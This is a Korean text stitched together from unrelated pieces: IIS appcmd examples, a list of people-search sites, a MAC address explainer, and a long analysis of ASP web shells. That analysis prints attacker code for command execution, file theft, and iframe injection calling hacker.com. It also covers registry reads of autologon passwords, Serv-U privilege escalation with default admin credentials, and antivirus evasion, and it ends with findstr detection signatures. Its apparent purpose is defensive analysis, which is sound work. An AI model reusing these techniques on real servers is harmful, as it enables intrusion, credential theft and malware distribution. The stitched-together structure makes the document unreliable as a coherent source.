REQUEST "c900000080003a68" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.101, stage:MapRequestHandler, module:ManagedPipelineHandler)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "b70000008000a3f1" (url:POST /MiniPopupMonitor/WebServiceMessenger.asmx,
time:15 msec, client:192.168.0.102, stage:SendResponse, module:IIS Web Core)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "ed0000008000d2ee" (url:POST /LoginS.aspx, time:141 msec, client:192.168.0.101,
stage:MapRequestHandler, module:ManagedPipelineHandler)

C:\Windows\System32\inetsrv>APPCMD list request /site.name:"WEB1"
REQUEST "f4000000800083a3" (url:GET /data/images/skin/2 Window_Data Popup/imag
es/dwframe_1.gif, time:16 msec, client:192.168.0.103, stage:SendResponse, module:IIS Web Core)



5. Site 상태 제어
가. Appcmd stop site /site.name:XE
나. Appcmd start site /site.name:XE

6. 글로벌 서버 설정 백업과 복원
가. Appcmd add backup
나. Appcmd restore backup /backup.name:"20101215T224415"

위와 같이 몇 가지 예제를 통해서 appcmd command-line 도구를 활용하는 방법에 대해서 간단히 확인하였습니다. 위 예제에서 다뤄보지 못한 개체 유형(object-type)과 명령(command)이 아직 많이 있으니 도움말을 통해 확인해 보시고 이외에도 유용한 명령이 있으면 추천 부탁 드립니다.

사람찾기방법 - 이름으로 사람찾기, 전화번호로 사람찾기, 친구찾기

사람찾기방법은 해결사만 하는것이 아닙니다. 온라인에서는 사람을 찾는 여러사이트들이 있습니다. 과거 아이러브스쿨이 유행했었던 적이 있는데 동창찾기를 포함한 사람찾기 사이트들을 알아보도록 하겠습니다. (온라인에서 사람을 찾는 서비스는 상태가 온라인서비스에 가입되어야만 찾을 수 있습니다.)


사람찾기 사이트 - 사람찾기방법
1. 네이트 사람검색
- 싸이월드 db를기반으로 사람이름으로 찾을 수 있습니다. 당연히 싸이월드 이용자가 공개를 하지 않았을 경우 검색이 되지 않습니다. 예전에는 싸이열풍으로 대부분의 사람찾기가 가능했으나 현재는 공개를 하지 않거나 싸이이용을 하지 않는 사람이 많아서 검색결과가 예전만 못한것으로 보입니다.
링크 : http://search.nate.com/search/ps.html?z=PS&s=&tq=&sc=&afc=&thr=tab&q=

네이트 - 사람검색

2. 다음 사람찾기
- 싸이월드, 아이러브스쿨의 유행으로 다음에서도 사람찾기 서비스가 있었으나 현재는 서비스가 종료되어 제공되고 있지 않습니다.


3. 네임검색
- 사람찾기 서비스의 핵심은 결국 사람입니다. 중소규모의 회사에서 아주 특별한 마케팅이나 기술이 없다면 해당 서비스를 진행하기 힘듭니다. 네임검색역시 등록된 사람의 연락처를 알려주는 서비스인데 등록된 db가 많지 않습니다. 링크 : http://www.name.co.kr/

1. 개 요

가. 웹쉘이란?
웹쉘이란 공격자가 원격에서 대상 웹서버에 명령을 수행할 수 있도록 작성한 웹 스크립트 (asp, jsp, php, cgi) 파일이다. 이때 zip, jpg, doc와 같은 데이터 파일종류 이외에 악의적으로 제작된 스크립트 파일인 웹쉘을 업로드하여 웹 서버를 해킹하는 사고가 빈번히 발생하고 있다. 최근에는 파일 업로드뿐만 아니라 SQL Injection과 같은 웹 취약점을 공격한 후 지속적으로 피해시스템을 관리할 목적으로 웹쉘을 생성 한다.

공격자는 웹쉘을 대상 서버에 업로드한 후 웹을 이용하여 시스템 명령어를 수행하므로 네트워크 방화벽 영향을 받지 않고 서버를 제어할 수 있다. 웹쉘은 웹페이지 소스코드 열람, 악성스크립트 (iframe 등) 삽입, 파일 업로드, 서버 및 데이터베이스 자료 유출 등의 다양한 공격이 가능하다.
최근 웹쉘은 탐지를 어렵게 하기 위해 웹쉘의 일부분만을 피해시스템에 업로드 하는 등 그 유형이 나날이 발전하고 있다.

나. 웹쉘의 위험성
2007년도 인터넷침해사고대응지원센터(www.krcert.or.kr)에서 한 해 동안 분석했던 피해 웹서버 중 웹쉘이 발견된 웹서버는 총 91%의 분포를 보였다. 이것은 공격자들이 취약점을 공격 한 후 웹쉘을 업로드하여 시스템을 통제하기가 수월하다보니 사용 빈도가 높은 것을 확인할 수 있다.

웹 취약점을 통해 피해시스템에 접근한 공격자는 방화벽에서 접근을 허용하는 HTTP (80/tcp) 서비스를 통해 피해시스템을 제어 하므로 웹쉘을 차단하기가 쉽지 않다.

피해시스템에서 수집된 ASP 웹쉘 샘플 한 개를 http://www.virustotal.com 사이트에서 각 바이러스 백신 엔진 탐지결과를 확인하였다. 아래 그림과 같이 많은 국내외 백신사에서 탐지 못하고 있으며 공격자들은 스크립트 웹쉘들을 빈번히 변경시켜 사용하기 때문에 백신들로서는 탐지하기가 쉽지 않다.

Set WshShell = Server.CreateObject (“WScript.Shell”) Call WshShell.Run (cmd, 0, True) Set WshShell = CreateObject (“WScript.Shell”) Set oExec = WshShell.Exec (cmd)

시스템 명령어 또는 프로그램을 실행할 수 있는 또 다른 방법은 Shell.Application 오브젝트의
ShellExecute 메소드를 이용하는 것이다.

o Shell.Application
- Shellexecute“ Application”,“ Argument”,“ Path”,“ ”, 1

set objShell = CreateObject(“Shell.Application”) objShell.ShellExecute “notepad.exe”, “ ”, “ ”, “open”, 1

■ 파일 조작
파일관련 조작은 Scripting.FileSystemObject, Shell.Application, Adodb.Stream 오브젝트를 사용한다. 이 중에서 Scripting.FileSystemObject, Adodb.Stream 을 이용한 파일 조작 방법에 대해 살펴보도록 하겠다.

o Scripting.FileSystemObject
- 파일 리스팅

Set fso = CreateObject(“Scripting.FileSystemObject”) Set f = fso.GetFolder(folderpath) Set fp = f.Files For Each f1 in fp s = s & f1.name Next

- 파일 보기
fso는 Scripting.FileSystemObject로 생성한 오브젝트이다.

Set f = fso.OpenTextFile(“c:\testfile.txt”) ra = f.ReadAll

- 파일 생성 및 수정

Set MyFile = fso.CreateTextFile(“c:\testfile.txt”, True) MyFile.Write Contents

- 파일 이동 및 삭제

fso.CopyFile Path1, Path2 fso.CopyFolder Path1, Path2 fso.DeleteFile Path fso.DeleteFolder Path

■ 파일 다운로드
o Adodb.Stream

Set stream = Server.CreateObject”Adodb.Stream”) stream.Open stream.Type = 1 stream.LoadFromFile(Path) Response.AddHeader “Content-Disposition”, “attachment; filename=” & FileName Response.AddHeader “Content-Length”, stream.Size Response.Charset = “UTF-8” Response.ContentType = “application/octet-stream” Response.BinaryWrite stream.Read Response.Flush stream.Close Set stream = Nothing

■ 파일 업로드
Adodb.Stream 오브젝트를 이용하여 파일을 업로드 한다. 관련 메소드들은 아래와 같다.
※ 구현 예제 코드 생략
o Adodb.Stream
- Write
- Read
- SaveToFile

■ 웹페이지들에 악성스크립트 삽입 기능
웹쉘에서는 악성코드를 유포하기 위해 각 html 파일들이나 스크립트 파일에 악성 스크립트 (iframe)를 삽입하는 기능이 있다.

o 정규표현식으로 아래와 같이 악성스크립트를 삽입할 파일명을 정의한다. default, index main 등 홈페이지 메인페이지 이름을 갖는 html 파일들이나 스크립트 파일들을 정규표현 식으로 찾는다.
- (\\|\/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)\b

o 그리고 아래와 같은 iframe 악성 스크립트 코드를 삽입한다.
- <IFRAME height=0 src="http://hacker.com/m.htm" width=0></IFRAME>

◈ 정규 표현식으로 파일이름을 검사하여 메인 페이지를 찾는다. Set regEx=New RegExp regEx.Pattern=”(＼＼|＼/)(default|index|main|admin)\.(htm|html|asp|php|jsp|aspx)＼b” regEx.IgnoreCase=True retVal=regEx.Test(path) ◈ 위 정규 표현식으로 검색된 파일의 끝에 iframe 코드를 삽입한다. Set fs=Server.createObject(“Scripting.FileSystemObject”) Set f=fs.GetFile(path) Set f_addcode=f.OpenAsTextStream(8,-2) // 포인터는 파일 끝으로 이동하고 쓰기 모드로 연다 f_addcode.Write “<IFRAME src="http://hacker.com/m.htm" width=0 height=0></IFRAME>” f_addcode.Close

■ 데이터베이스 열람 및 조작
데이터베이스에 접속하기 위해서는 Adodb.Connection 오브젝트를 사용하고 아래와 같은 메소드를 이용하여 데이터베이스 연결 및 SQL 쿼리 문들을 실행할 수 있다.

Set Con = Server.CreateObject(“Adodb.Connection”) Con.Open “Provider=SQLOLEDB;Data Source=SERVER_NAME;database=DB_NAME;uid=UID;pwd=PWD” SQL = “SELECT * FROM table” Set RS = Con.Execute(SQL)

■ 레지스트리 조작
윈도우는 모든 시스템 구성 정보나 사용자 설정 정보를 레지스트리에 저장한다. 웹쉘에서는 아래와 같은 Wscript.Shell 오브젝트와 관련 메소드를 이용하여 레지스트리 확인 및 조작 한다.

※ 구현 예제 코드 생략
o Wscript.Shell
- RegRead
- RegWrite
- RegDelete
웹쉘에서 참조하는 레지스트리 값들은 아래와 같다.

- 터미널 서비스 포트, PortNumber 키 값 변경 HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp\ - 윈도우 자동으로 로그인 키 값(autoadminlogon)이 설정되어 있는 경우 디폴트 사용자 이름 (DefaultUserName)과 패스워드(DefaultPassword)를 확인 HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\ - 컴퓨터 이름 확인 HKLM\SYSTEM\CurrentControlSet\Control\ComputerName\ComputerName\ComputerName - 익명 사용자 접속 여부 및 공유 정보 확인 HKLM\SYSTEM\CurrentControlSet\Control\Lsa\restrictanonymous HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\AutoShareServer HKLM\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters\EnableSha redNetDrives - 보안 필터링 및 포워딩 여부 확인 HKLM\SYSTEM\currentControlSet\Services\Tcpip\Parameters\EnableSecurityFilters HKLM\SYSTEM\ControlSet001\Services\Tcpip\Parameters\IPEnableRouter - 네트워크 카드 정보 확인 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{8A465128 -8E99-4B0C-AFF3-1348DC55EB2E}\DefaultGateway HKLM\SYSTEM\ControlSet001\Services\Tcpip\Enum\Count HKLM\SYSTEM\ControlSet001\Services\Tcpip\Linkage\Bind

■ 시스템 정보 확인
웹쉘에서 GetObject 메소드를 이용해 서비스와 사용자 장보를 확인 한다.

o 서비스 확인

Set ComputerObj = GetObject(“WinNT://MYCOMPUTER”) ComputerObj.Filter = Array(“Service”) For Each Service in ComputerObj WScript.Echo “Service display name = “ & Service.DisplayName WScript.Echo “Service account name = “ & Service.ServiceAccountName WScript.Echo “Service executable = “ & Service.Path WScript.Echo “Current status = “ & Service.Status Next

o 사용자 정보확인

Set objComputer = GetObject(“WinNT://.”) objComputer.Filter = Array(“User”) For Each objUser in objComputer WScript.Echo objUser.Name Next

■ 어플리케이션 취약점을 통한 로컬 권한상승

웹에서 실행되는 모든 파일들은 기본적으로 인터넷 게스트 계정으로 으로 실행된다. 웹쉘은 이러한 제한된 권한을 관리자 권한으로 상승시키기 위해 취약점 있는 Serv-U 프로그램을 이용한다.
Serv-U 3.x ~ 5.x는 로컬 권한 상승 취약점이 있으며 이를 이용하여 새로운 관리자 계정을 생성할 수 있다. 취약점을 공격하는 과정은 아래와 같다.

o Serv-U 3.x ~ 5.x 버전의 ServUDaemon.exe 다운로드 및 실행 (TzoLibr.dll 필요)
o Serv-U 디폴트 아이피/포트(127.0.0.1/43958) 로 접속 후
o Serv-U 디폴트 관리 아이디/패스워드로 로그인
- USER LocalAdministrator (디폴트 아이디)
- PASS #l@$ak#.lk;0@P (디폴트 패스워드)
o Serv-U에 신규 도메인 생성
o Serv-U 명령어 실행에 필요한 Serv-U 사용자 추가
o “SITE EXEC“ Serv-U 내부 스크립트를 통한 시스템 명령어 수행

set a=Server.CreateObject(“Microsoft.XMLHTTP”) a.open “GET”, “http://127.0.0.1:” & port & “/goldsun/upadmin/s1”,True, “”, “” a.send loginuser & loginpass & “SITE MAINTENANCE” & deldomain & newdomain & newuser & quit set session(“a”)=a set b=Server.CreateObject(“Microsoft.XMLHTTP”) b.open “GET”, “http://127.0.0.1:” & ftpport & “/goldsun/upadmin/s2”, True, “”, “” b.send “User go” & vbCrLf & “pass od” & vbCrLf & “SITE EXEC “ & cmd & vbCrLf & quit set session(“b”)=b

나. 스크립트 인코딩
마이크로소프트社의 윈도우 스크립트는 Script Encoder를 제공하여 일반 사용자들이 스크립트 내용을 확인하는게 쉽지 않도록 하고 있다. 하지만 웹쉘을 업로드한 공격자가 이러한 기능을 악용하여 관리자가 웹쉘을 쉽게 찾지 못하도록 백신탐지를 우회 하는데 이용하고 있다.

http://msdn2.microsoft.com/en-us/library/cbfz3598(VS.85).aspx

Script Encoder는 콘솔모드에서 명령어 라인으로 실행되며 다음과 같이 사용한다.

SCRENC [switches] inputfile outputfile

일반 asp 스크립트를 인코딩 하면 아래와 같은 결과가 된다.

■ 문자열 분리를 이용한 탐지 우회 기능
최근 바이러스 백신이나 서버 관리자들이 웹쉘 시그니쳐를 통해 웹쉘 탐지가 많아지자 공격자 들은 시그니쳐로 이용되는 문자열(오브젝트 명)들을 분산시켜 탐지를 우회하고 있다.

- Shell.Application
문자열을 연결하는 & 연산자를 이용하고 값이 주어지지 않은 변수 x를 이용해 아래와 같이
Shell.Application 문자열을 분리한다.
Set sa = Server.CreateObject“( She”&x&”ll.Appl”&x&”ication”)
“She”&x&”ll.Appl”&x&”ication”=>“ Shell.Application”
- WScript.Shell
Set ws = Server.CreateObject“( WScr”&x&”ipt.Shell”)

■ 파일 생성 웹쉘
Scripting.FileSystemObject 오브젝트를 이용하여 새로운 파일을 생성하는 기능을 앞서 살펴 보았다. 최근 정상적인 스크립트들에서도 사용하는 CreateTextFile, Write 메소드를 이용하여 단지 파일만 생성하는 웹쉘들이 증가하고 있다. 이러한 웹쉘은 정상적인 스크립트에서 사용하는 오브젝트와 메소드를 사용하므로 탐지하기가 쉽지 않다. 또한 이러한 웹쉘들은 앞서 설명한 다양한 기능을 가지는 웹쉘을 얼마든지 생성할 수가 있어 관리자들의 주의가 필요하다.

cmd\.exe	Wscript\.Shell	Shell\.Application	VBScript\.Encode	gb2312
execute *\(? *session	execute *\(? *request	eval *\(? *request	＼.run.*>	\.exec *\(
webshell	lake2	hack520	lcxMarcos	Marcos

■ findstr 명령어를 활용한 탐지 방법
findstr 이라는 명령어는 지정된 파일들에서 찾고자 하는 특정 문자열들을 검색할 수 있도록 도와준다. 위에서 정의된 시그니쳐들을 파일(asp.sig)로 지정하고 사이트 홈 디렉터리에서 아 래의 예처럼 실행해 보기 바란다.

findstr /i /r /s /g:asp.sig *.asp

- i : 대소문자 구분없이 검색
- g : 지정된 파일에서 검색 문자열을 받음
- r : 정규 표현식 사용
- s : 모든 하위디렉터리 검색

※ 최근 공격자들이 웹쉘 확장자를 .cer, .asa, cdx, hta로 변경하여 파일을 업로드 하는 경우가 있다.(파일 업로드
우회 공격) 반드시 검사 확장자를 asp 뿐만 아니라 스크립트로 실행되도록 지정된 .asa, .cer 등도 반드시 함께
검색 하도록 해야 한다.

4. 결론
관리하는 서버에서 웹쉘이 탐지되었다면 시스템에 웹쉘을 생성할 수 있었던 취약점이 존재 할 것 이다. 웹쉘이 업로드 된 피해시스템을 분석한 결과 대부분 파일 업로드, SQL Injection과 같은 어플리케이션 취약점으로 웹쉘이 생성되는 것으로 확인되었다. 웹쉘을 탐지해서 제거하는 것도 중요하지만 웹쉘을 생성할 수 있었던 근본적인 취약점을 찾아내어 패치하는 것도 관리자들이 꼭~! 잊지 않고 해야 될 작업일 것이다.
앞서 탐지 방법에서 제공한 시그니쳐들은 오탐이 발생할 수 있으므로 반드시 이 보고서에서 설명한 기능을 갖는 웹쉘인지 확인 후 삭제해야 한다.

맥주소 mac address

Media Access Control의 약자. Hardware address나 physical address라고도 한다.
OSI DataLink Layer에서 사용하는 주소 체계이며, LAN에 연결되는 모든 장치(LAN Card 등)들은 이 MAC 주소를 가지고 있어야 한다.

MAC 주소는 총 6바이트로 이루어지며 처음 3바이트는 IEEE에서 할당한다. MAC 장비 생산자는 IEEE에서 처음 3바이트를 구입하고(ex:휴맥스의 경우에는 000378h) 나머지 3바이트는 생산자가 결정한다. 이러한 MAC 주소는 global address이며, 드물게 Local LAN의 경우에는 local LAN에서 사용하는 IP와 마찬가지로 MAC 주소도 적당히 만들어 사용할 수 있다. 이러한 MAC 주소는 local address라고 볼 수 있다.
